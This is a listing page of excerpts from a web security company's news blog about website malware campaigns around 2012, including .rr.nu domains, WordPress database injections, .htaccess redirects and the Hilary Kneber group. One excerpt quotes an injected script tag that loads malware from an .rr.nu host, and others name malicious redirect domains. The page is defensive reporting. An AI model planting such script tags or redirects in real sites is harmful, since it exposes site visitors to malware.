Website Security News
No, they don’t quit, so get used to it! We are seeing quite a few websites being compromised with malware getting loaded from random domains in the .rr.nu TLD. This is what gets added to the footer of the hacked sites: <script src= "http://trill18ionsa.rr.nu/pmg.php?dr=1"></script> Once loaded, it…
Sucuri is a website security company focused on the detection and remediation of web malware. In 2012, via our SiteCheck scanner, we scanned 9,953,729 unique domains. This small report is…
When we see a compromised site distributing malware, it is often done via 4 methods: Iframe, Javascript, Spam or internal redirections. Those are not the only ways, and they can…
Read More about Sucuri SiteCheck – Web Malware Distribution – April 2012
This has been an interesting couple of weeks in the Anti-Virus world, specifically in the malware business for notebooks and desktops running the MAC OS. Securelist put out a very interesting…
Read More about Web Malware Trends and the Mac Flashfake / Flashback Outbreak
We are getting lots of questions about the latest mass compromise targeting WordPress sites (redirecting to fake AV) that has affected over 30,000 domains. The first question is how are…
Read More about Latest Mass Compromise of WordPress sites – More Details
Last week we started to see a large increase in the number of sites compromised with a .htaccess redirection to http://sweepstakesandcontestsinfo.com/nl-in.php?nnn=555. This domain has been used to distribute malware for…
Read More about Htaccess Redirection to Sweepstakesandcontestsinfo dot com
We posted a few weeks ago about a large scale database injection attack affecting WordPress on shared hosts. The infected sites got the following javascript malware inserted on every post…
Read More about Database injection, lessthenaminutehandle.com and more updates
We posted a few days ago about a large scale database injection attack affecting shared hosts. The infected sites got the following javascript malware inserted on every post of their…
Read More about Database injection and lessthenaminutehandle.com – Intermediary domains
We posted a few weeks ago about a database injection attack that infected thousands of WordPress blogs on shared hosts. At that time, the attackers were inserting a javascript link…
Read More about Database injection, Hilary Kneber and lessthenaminutehandle dot com
We are seeing (again) a number of sites infected with a variation of the welcometotheglobalisnet.com malware string that appeared a few weeks ago. The details are the same as in…
Read More about Hilary Kneber Again – welcometotheglobalisorg
It seems that after a few months quiet, the “Hilary Kneber” group is back at it again. Their latest approach is very typical of Hilary Kneber style attacks affecting GoDaddy…
Read More about Hilary Kneber Strikes Again – welcometotheglobalisnet